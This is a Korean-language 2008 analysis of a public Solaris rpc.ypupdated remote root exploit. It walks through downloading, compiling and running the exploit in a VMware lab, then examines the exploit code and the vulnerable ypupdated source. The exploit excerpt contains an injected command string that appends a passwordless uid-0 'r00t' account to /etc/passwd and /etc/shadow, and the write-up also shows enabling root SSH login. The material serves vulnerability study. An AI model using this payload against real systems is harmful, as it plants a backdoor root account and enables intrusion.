Sun Solaris <=10 rpc.ypupdated Remote Root Exploit 분석

(http://milw0rm.com/에 공개된 exploit 분석)

2008.03.26
v0.5
By Kancho (kancholove@gmail.com, www.securityproof.net)

milw0rm.com에 2008년 3월 20일에 공개된 Sun Solaris <=10 rpc.ypupdated Remote Root Exploit 취약점과 그 exploit 코드를 분석해 보고자 합니다.

테스트 환경은 다음과 같습니다.

- Host PC : Windows XP Home SP2 5.1.2600 한국어
- App. : VMware Workstation ACE Edition 6.0.2
- Guest PC
  - Sun Solaris 10 한국어

먼저 취약한 rpc.ypupdated은 무엇인지 알아보도록 하겠습니다.

rpc.ypypdated는 NIS(Network Information Service)에 정보를 update하는 daemon입니다. NIS는 Sun에 의해 1980년에 개발되었으며, 중요한 시스템 설정 파일들을 공유하는 방법으로 계정 통합을 구현한 것입니다. 계정 통합이란 다수의 시스템에 공통적으로 적용될 수 있는 계정과 권한 관리 시스템을 만들어내는 것을 의미하는 것입니다.
Exploit을 위해서는 '-i' 옵션으로 실행해야 하는데 '-i' 옵션은 insecure한 AUTH_UNIX credentials로 RPC call을 받아들입니다. 그리고 모든 네트워크의 programmatic한 NIS map의 update를 허용합니다.

공개된 exploit code를 실행해보도록 하겠습니다.

먼저 exploit code를 다음과 같이 다운로드 받아 컴파일 합니다. 일반적으로 공격은 리눅스나 Back Track과 같은 곳에서 하게 될 것입니다. 본 문서에서는 BackTrack에서 공격을 해보도록 하겠습니다.

****

```
bt ~ # wget http://www.milw0rm.com/sploits/2008-ypk2008.tar.gz
--13:30:04--  http://www.milw0rm.com/sploits/2008-ypk2008.tar.gz
          => `2008-ypk2008.tar.gz'
Resolving www.milw0rm.com... 76.74.9.18
```

```
Connecting to www.milw0rm.com|76.74.9.18|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,175 (2.1K) [application/x-tar]

100%[==========================================================
=====>] 2,175          --.--K/s

13:30:05 (16.37 MB/s) - `2008-ypk2008.tar.gz' saved [2175/2175]

bt ~ # ls
2008-ypk2008.tar.gz  Desktop/  Set₩ IP₩ address  sample_scripts/
bt ~ # tar xvfz 2008-ypk2008.tar.gz
README
ypk.c
ypupdate_prot.h
ypupdate_prot_xdr.c
bt ~ # gcc -c ypupdate_prot_xdr.c
bt ~ # ls
2008-ypk2008.tar.gz  README            sample_scripts/  ypupdate_prot.h      ypupdate_prot_xdr.o
Desktop/             Set₩ IP₩ address  ypk.c            ypupdate_prot_xdr.c
bt ~ # gcc -o exploit ypk.c ypupdate_prot_xdr.o
ypk.c: In function 'main':
ypk.c:104: warning: passing argument 3 of 'cli->cl_ops->cl_call' from incompatible pointer type
ypk.c:104: warning: passing argument 4 of 'cli->cl_ops->cl_call' from incompatible pointer type
ypk.c:104: warning: passing argument 5 of 'cli->cl_ops->cl_call' from incompatible pointer type
ypk.c:104: warning: passing argument 6 of 'cli->cl_ops->cl_call' from incompatible pointer type
ypk.c:54: warning: return type of 'main' is not 'int'
bt ~ #
```

****

참고로 공격을 Solaris에서 할 경우, 그리고 시스템에 gcc가 깔려 있지 않다면 www.sunfreeware.com에서 대상 시스템의 Processor와 OS를 선택하고 gcc 패키지를 다운로드 받습니다. 압축을 푼 뒤 다음과 같이 설치합니다.

****

```
# pkgadd -d gcc-3.4.6-sol10-x86-local

The following packages are available:
  1  SMCgcc        gcc
```

(x86) 3.4.6

Select package(s) you wish to process (or 'all' to process all packages). (default: all) [?,??,q]:
...(생략)...
****

컴파일 과정에서 경고 메시지가 나왔지만 아래에서 볼 수 있는 것처럼 exploit 실행 파일이 일단은 만들어졌습니다.

Solaris 서버에서는 취약한 rpc.ypupdated 프로세스가 동작 중이어야 합니다. 따라서 서버에서 rpc.ypdated를 실행시켜줘야 합니다. rpc.ypupdated는 /usr/lib/netsvc/yp 내에 있습니다. 다음과 같이 '-i'옵션으로 실행시키도록 하겠습니다.

****
```
# ps
  PID TTY          TIME CMD
 1028 pts/3    0:00 sh
 1702 pts/3    0:00 ps
# pwd
/usr/lib/netsvc/yp
# ./rpc.ypupdated -i
# ps
  PID TTY          TIME CMD
 1028 pts/3    0:00 sh
 1735 pts/3    0:00 rpc.ypup
 1736 pts/3    0:00 ps
#
```
****

그럼 이제 exploit을 실행해보도록 하겠습니다.

****
```
bt ~ # ./exploit 192.168.135.143
bt ~ #
```
****

만약 대상 서버에 취약한 rpc.ypupdated가 실행 중이지 않을 경우 다음과 같은 에러 메시지를 확인할 수 있습니다.

```
**********************************************************************************************************
bt ~ # ./exploit 192.168.135.143
clntupd create failure
bt ~ #
**********************************************************************************************************
```

Exploit이 성공할 경우는 서버에 r00t라는 사용자가 추가됩니다. /etc/passwd 파일을 확인해보도록 하겠습니다.

```
**********************************************************************************************************
# cat /etc/passwd
root:x:0:0:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
smmsp:x:25:25:SendMail Message Submission Program:/:
listen:x:37:4:Network Admin:/usr/net/nls:
gdm:x:50:50:GDM Reserved UID:/:
webservd:x:80:80:WebServer Reserved UID:/:
postgres:x:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh
svctag:x:95:12:Service Tag UID:/:
nobody:x:60001:60001:NFS Anonymous Access User:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/:
user:x:100:1::/home/user:/bin/sh
r00t::0:0:Super-User die zweite:/:/sbin/sh
#
**********************************************************************************************************
```

결과를 보면 r00t 사용자의 권한은 root 권한과 같습니다. 그리고 패스워드 부분이 공백으로 되어 있으며, 따라서 패스워드 없이 로그인이 가능합니다.

그럼 이제 remote에서 r00t 사용자로 접속을 시도해보도록 하겠습니다.

****

```
bt ~ # ssh -l r00t 192.168.135.143
Permission denied (gssapi-keyex,gssapi-with-mic,publickey,keyboard-interactive).
#
```

****

접속을 시도하면 위처럼 Permission denied가 발생합니다. 이것은 Solaris의 ssh에서 root의 원격 로그인이 허용되어 있지 않은 상태이기 때문입니다. 이 exploit이 성공하기 위해서는 root 접속이 허용되어야 합니다. Solaris 10의 경우 디폴트로 root 접속이 허용되어 있지 않습니다. 그래서 공격에 성공한 후 서버에 접속하기 위해서는 Solaris 내 /etc/ssh/sshd_config 파일의 다음 부분을 수정해야 합니다.

****

```
# cd /etc/
# cd ssh
# vi sshd_config
...(중략)...
# Are root logins permitted using sshd.
# Note that sshd uses pam_authenticate(3PAM) so the root (or any other) user
# maybe denied access by a PAM module regardless of this setting.
# Valid options are yes, without-password, no.
# PermitRootLogin no
   PermitRootLogin yes
...(중략)...
#
```

****

Solaris에서 sshd를 다시 실행시킨 후 접속을 시도해보겠습니다.

****

```
bt ~ # ssh -l r00t 192.168.135.143
The authenticity of host '192.168.135.143 (192.168.135.143)' can't be established.
RSA key fingerprint is 4d:77:7a:51:b1:2e:48:65:22:72:bf:9a:d0:90:2b:98.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.135.143' (RSA) to the list of known hosts.
Last login: Wed Mar 26 11:17:26 2008
Sun Microsystems Inc.   SunOS 5.10       Generic January 2005
```

```
# id
uid=0(root) gid=0(root)
#
```

****

드디어 r00t 사용자로 로그인 했고, id를 확인해보니 root임을 알 수 있습니다. 앞에서 언급한 바와 같이 로그인 시 패스워드는 필요하지 않습니다.

지금까지는 공개된 exploit code를 실행해 본 결과입니다. 이제는 exploit code와 취약점 자체에 대해 살펴보도록 하겠습니다.

먼저 exploit 코드를 살펴보겠습니다. 설명은 주석으로 대신하겠습니다.

****

```
void main(argc, argv) {
        ...(중략)...

        // pipe를 통해 명령 수행. passwd 파일과 shadow 파일에 암호없는 root권한의 r00t계정
         만듬.
        char * comm = "|echo ₩"r00t::0:0:Super-User die zweite:/:/sbin/sh₩" >>
                        /etc/passwd;echo ₩"r00t::6445::::::₩" >> /etc/shadow;";

        ...(중략)...
        // mapname으로 comm 변수값 저장
        ypArg.mapname=comm;

        ...(중략)...
        // remote program을 대상으로 rpc client를 생성
        if ((cli=clntudp_create(&skn,prog,vers,timeVal,&desc))==NULL){
                printf("clntudp_create failure₩n");
                exit(1);
        }

        // authentication 정보를 담고 있는 RPC authentication handle 생성
        cli->cl_auth=authunix_create("localhost",0,0,0,0);

        // remote procedure 호출.
        clnt_call(cli,1,xdr_ypupdate_args,&ypArg,xdr_u_int,&rtnval,timeVal);
```

```
}
```

****

간단히 정리해보자면 pipe 이후의 명령어들을 mapname으로 설정한 뒤 RPC 호출을 하는 것입니다. 매우 단순한 코드라고 볼 수 있습니다.

그럼 이제 취약점 자체에 대해 살펴보도록 하겠습니다. SecurityProof 포럼 게시판에 trustno1님께서 ypupdated 소스를 링크해주셨습니다.

http://opensolaris.org/sc/src/brussels/brussels-gate/usr/src/cmd/ypcmd/ypupdated.c

그리고 내부적으로 사용되는 _openchild() 함수 소스는 아래 링크를 참조했습니다.

http://opengrok.creo.hu/dragonfly/raw/src/usr.bin/newkey/update.c

그럼 취약점을 가지는 ypupdated 소스코드를 살펴보도록 하겠습니다.

****

```
// ypupdated.c
static update(requester, mapname, op, keylen, key, datalen, data) {
        char updater[MAXMAPNAMELEN + 40];
        ...(중략)...
        sprintf(updater, "/usr/ccs/bin/make -s -f %s %s", UPDATEFILE, mapname);

        pid = _openchild(updater, &childargs, &childrslt);
        ...(중략)...
}

// openchild.c
static int _openchild(char *command, FILE **fto, FILE **ffrom) {
        int i;      pid_t pid;
        int pdto[2];        int pdfrom[2];
        char *com;          struct rlimit rl;

        if (pipe(pdto) < 0) {
                goto error1;
        }
        if (pipe(pdfrom) < 0) {
                goto error2;
```

```
        }
        switch (pid = fork()) {
        case -1:                goto error3;
        case 0:
                /*
                 * child: read from pdto[0], write into pdfrom[1]
                 */
                (void)close(0);
                (void)dup(pdto[0]);
                (void)close(1);
                (void)dup(pdfrom[1]);
                getrlimit(RLIMIT_NOFILE, &rl);
                for (i = rl.rlim_max - 1; i >= 3; i--) {
                        (void) close(i);
                }
                com = malloc((unsigned) strlen(command) + 6);
                if (com == NULL) {
                        _exit(~0);
                }
                (void)sprintf(com, "exec %s", command);
                execl(SHELL, basename(SHELL), "-c", com, NULL);
                _exit(~0);
        default:
                /*
                 * parent: write into pdto[1], read from pdfrom[0]
                 */
                *fto = fdopen(pdto[1], "w");
                (void)close(pdto[0]);
                *ffrom = fdopen(pdfrom[0], "r");
                (void)close(pdfrom[1]);
                break;
        }
        return (pid);
}
*****************************************************************************************************
```

소스코드를 보시면 알 수 있듯이 ypupdated내의 update()함수가 호출되면(client로부터 update 요청을 받은 경우) exploit 코드에서의 comm 변수 값이 그대로 mapname 변수에 전달됩니다. 이 값은 sprintf() 함수를 통해 updater 라는 변수에 함께 저장되는데 여기에는 make 명령어가 실행

되도록 값이 저장됩니다. 그리고 _openchild()함수 내의 execl() 함수를 통해 comm에 저장되어 있던 /etc/passwd와 /etc/shadow 파일에 임의의 값을 추가하는 명령어가 실행될 수 있습니다. 물론 취약한 ypupdated 자체는 root권한을 가지고 있어야 합니다.

살펴본 바와 같이 간단한 취약점으로 Solaris <=10 이하 시스템이 'rpc.ypupdated –i' 로 프로세스가 실행 중인 경우 취약합니다. 그리고 exploit이 된 경우는 임의의 사용자가 추가되어있을 수 있습니다. 발표된 exploit code내의 README 파일을 보면 이 취약점이 1994년에 발견되었다고 합니다. 만약 rpc.ypupdated를 사용 중인 Solaris 서버 관리자 분들의 각별한 주의가 요구됩니다.

참고 문헌

- Solaris Server Bible, 이상묵, 김용우 공저, 영진 출판사, Ch15 계정통합시스템의 구축
- http://gcc.gnu.org/ml/gcc/1999-08n/msg01022.html - how to install gcc on Solaris